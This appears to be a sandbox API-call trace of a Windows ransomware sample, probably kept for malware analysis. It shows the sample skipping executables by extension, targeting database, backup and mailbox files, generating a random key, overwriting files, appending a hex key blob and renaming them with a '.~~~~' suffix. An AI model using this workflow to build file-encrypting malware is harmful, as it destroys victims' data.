	[0083.255] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.255] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.256] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.256] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.256] CloseHandle (hObject=0x124) returned 1
	[0083.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807958
	[0083.256] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.~~~~")) returned 1
	[0083.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807958 | out: hHeap=0x300000) returned 1
	[0083.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.257] GetLastError () returned 0x0
	[0083.257] RtlWakeConditionVariable () returned 0x365f70
	[0083.257] GetCurrentThreadId () returned 0x3a4
	[0083.257] GetCurrentThreadId () returned 0x3a4
	[0083.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a52f8 | out: hHeap=0x300000) returned 1
	[0083.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a20c8 | out: hHeap=0x300000) returned 1
	[0083.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a52f8
	[0083.257] lstrlenW (lpString=".scr") returned 4
	[0083.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".scr") returned 0x0
	[0083.257] lstrlenW (lpString=".cmd") returned 4
	[0083.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".cmd") returned 0x0
	[0083.257] lstrlenW (lpString=".dll") returned 4
	[0083.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".dll") returned 0x0
	[0083.258] lstrlenW (lpString=".bat") returned 4
	[0083.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".bat") returned 0x0
	[0083.258] lstrlenW (lpString=".cpl") returned 4
	[0083.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".cpl") returned 0x0
	[0083.258] lstrlenW (lpString=".sys") returned 4
	[0083.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".sys") returned 0x0
	[0083.258] lstrlenW (lpString=".msc") returned 4
	[0083.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".msc") returned 0x0
	[0083.258] lstrlenW (lpString=".com") returned 4
	[0083.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".com") returned 0x0
	[0083.258] lstrlenW (lpString=".lnk") returned 4
	[0083.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".lnk") returned 0x0
	[0083.258] lstrlenW (lpString=".msp") returned 4
	[0083.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".msp") returned 0x0
	[0083.258] lstrlenW (lpString=".pif") returned 4
	[0083.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".pif") returned 0x0
	[0083.258] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.259] lstrlenW (lpString=".sqb") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".sqb") returned 0x0
	[0083.259] lstrlenW (lpString=".ost") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".ost") returned 0x0
	[0083.259] lstrlenW (lpString=".txt") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".txt") returned 0x0
	[0083.259] lstrlenW (lpString=".mdt") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".mdt") returned 0x0
	[0083.259] lstrlenW (lpString=".BDB") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".BDB") returned 0x0
	[0083.259] lstrlenW (lpString=".eql") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".eql") returned 0x0
	[0083.259] lstrlenW (lpString=".DBF") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DBF") returned 0x0
	[0083.259] lstrlenW (lpString=".EQL") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".EQL") returned 0x0
	[0083.259] lstrlenW (lpString=".FDB") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".FDB") returned 0x0
	[0083.259] lstrlenW (lpString=".EDB") returned 4
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".EDB") returned 0x0
	[0083.259] lstrlenW (lpString=".DACPAC") returned 7
	[0083.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.260] lstrlenW (lpString=".VHD") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".VHD") returned 0x0
	[0083.260] lstrlenW (lpString=".DBV") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DBV") returned 0x0
	[0083.260] lstrlenW (lpString=".dacpac") returned 7
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".dacpac") returned 0x0
	[0083.260] lstrlenW (lpString=".sdf") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".sdf") returned 0x0
	[0083.260] lstrlenW (lpString=".accdb") returned 6
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".accdb") returned 0x0
	[0083.260] lstrlenW (lpString=".DBX") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DBX") returned 0x0
	[0083.260] lstrlenW (lpString=".MDT") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".MDT") returned 0x0
	[0083.260] lstrlenW (lpString=".SQB") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".SQB") returned 0x0
	[0083.260] lstrlenW (lpString=".vhd") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".vhd") returned 0x0
	[0083.260] lstrlenW (lpString=".bac") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".bac") returned 0x0
	[0083.260] lstrlenW (lpString=".mdf") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".mdf") returned 0x0
	[0083.260] lstrlenW (lpString=".BAK") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".BAK") returned 0x0
	[0083.260] lstrlenW (lpString=".BAC") returned 4
	[0083.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".BAC") returned 0x0
	[0083.260] lstrlenW (lpString=".dbs") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".dbs") returned 0x0
	[0083.261] lstrlenW (lpString=".vhdx") returned 5
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".vhdx") returned 0x0
	[0083.261] lstrlenW (lpString=".NDF") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".NDF") returned 0x0
	[0083.261] lstrlenW (lpString=".dat") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".dat") returned 0x0
	[0083.261] lstrlenW (lpString=".DBS") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DBS") returned 0x0
	[0083.261] lstrlenW (lpString=".CKP") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".CKP") returned 0x0
	[0083.261] lstrlenW (lpString=".edb") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".edb") returned 0x0
	[0083.261] lstrlenW (lpString=".PST") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".PST") returned 0x0
	[0083.261] lstrlenW (lpString=".dbf") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".dbf") returned 0x0
	[0083.261] lstrlenW (lpString=".SQL") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".SQL") returned 0x0
	[0083.261] lstrlenW (lpString=".pst") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".pst") returned 0x0
	[0083.261] lstrlenW (lpString=".dbv") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".dbv") returned 0x0
	[0083.261] lstrlenW (lpString=".SDF") returned 4
	[0083.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".SDF") returned 0x0
	[0083.261] lstrlenW (lpString=".dtxs") returned 5
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".dtxs") returned 0x0
	[0083.262] lstrlenW (lpString=".db3") returned 4
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".db3") returned 0x0
	[0083.262] lstrlenW (lpString=".OST") returned 4
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".OST") returned 0x0
	[0083.262] lstrlenW (lpString=".dbx") returned 4
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".dbx") returned 0x0
	[0083.262] lstrlenW (lpString=".DB3") returned 4
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DB3") returned 0x0
	[0083.262] lstrlenW (lpString=".DAT") returned 4
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DAT") returned 0x0
	[0083.262] lstrlenW (lpString=".VHDX") returned 5
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".VHDX") returned 0x0
	[0083.262] lstrlenW (lpString=".ndf") returned 4
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".ndf") returned 0x0
	[0083.262] lstrlenW (lpString=".DB") returned 3
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DB") returned 0x0
	[0083.262] lstrlenW (lpString=".sql") returned 4
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".sql") returned 0x0
	[0083.262] lstrlenW (lpString=".MYD") returned 4
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".MYD") returned 0x0
	[0083.262] lstrlenW (lpString=".DBT") returned 4
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DBT") returned 0x0
	[0083.262] lstrlenW (lpString=".ACCDB") returned 6
	[0083.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.262] lstrlenW (lpString=".fdb") returned 4
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".fdb") returned 0x0
	[0083.263] lstrlenW (lpString=".bak") returned 4
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".bak") returned 0x0
	[0083.263] lstrlenW (lpString=".myd") returned 4
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".myd") returned 0x0
	[0083.263] lstrlenW (lpString=".DTXS") returned 5
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".DTXS") returned 0x0
	[0083.263] lstrlenW (lpString=".ckp") returned 4
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".ckp") returned 0x0
	[0083.263] lstrlenW (lpString=".dbt") returned 4
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".dbt") returned 0x0
	[0083.263] lstrlenW (lpString=".db") returned 3
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".db") returned 0x0
	[0083.263] lstrlenW (lpString=".TXT") returned 4
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".TXT") returned 0x0
	[0083.263] lstrlenW (lpString=".MDF") returned 4
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".MDF") returned 0x0
	[0083.263] lstrlenW (lpString=".bdb") returned 4
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".bdb") returned 0x0
	[0083.263] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.263] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.265] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.265] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.265] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20325487262) returned 1
	[0083.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b756490, dwHighDateTime=0x1d60e1e)) 
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a20c8
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a20c8 | out: hHeap=0x300000) returned 1
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e730
	[0083.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0083.265] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0083.266] GetLastError () returned 0x0
	[0083.266] GetLastError () returned 0x0
	[0083.266] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.266] GetLastError () returned 0x0
	[0083.266] GetLastError () returned 0x0
	[0083.271] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff3d46, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.271] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xc2ba, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0xc2ba, lpOverlapped=0x0) returned 1
	[0083.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.272] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.272] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.272] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.272] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.272] CloseHandle (hObject=0x124) returned 1
	[0083.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4550
	[0083.272] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.~~~~")) returned 1
	[0083.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4550 | out: hHeap=0x300000) returned 1
	[0083.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.273] GetLastError () returned 0x0
	[0083.273] RtlWakeConditionVariable () returned 0x365f70
	[0083.273] GetCurrentThreadId () returned 0x3a4
	[0083.274] GetCurrentThreadId () returned 0x3a4
	[0083.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0083.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2100 | out: hHeap=0x300000) returned 1
	[0083.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0083.274] lstrlenW (lpString=".scr") returned 4
	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".scr") returned 0x0
	[0083.274] lstrlenW (lpString=".cmd") returned 4
	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".cmd") returned 0x0
	[0083.274] lstrlenW (lpString=".dll") returned 4
	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".dll") returned 0x0
	[0083.274] lstrlenW (lpString=".bat") returned 4
	[0083.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpSrch=".bat") returned 0x0
	[0083.274] lstrlenW (lpString=".cpl") returned 4
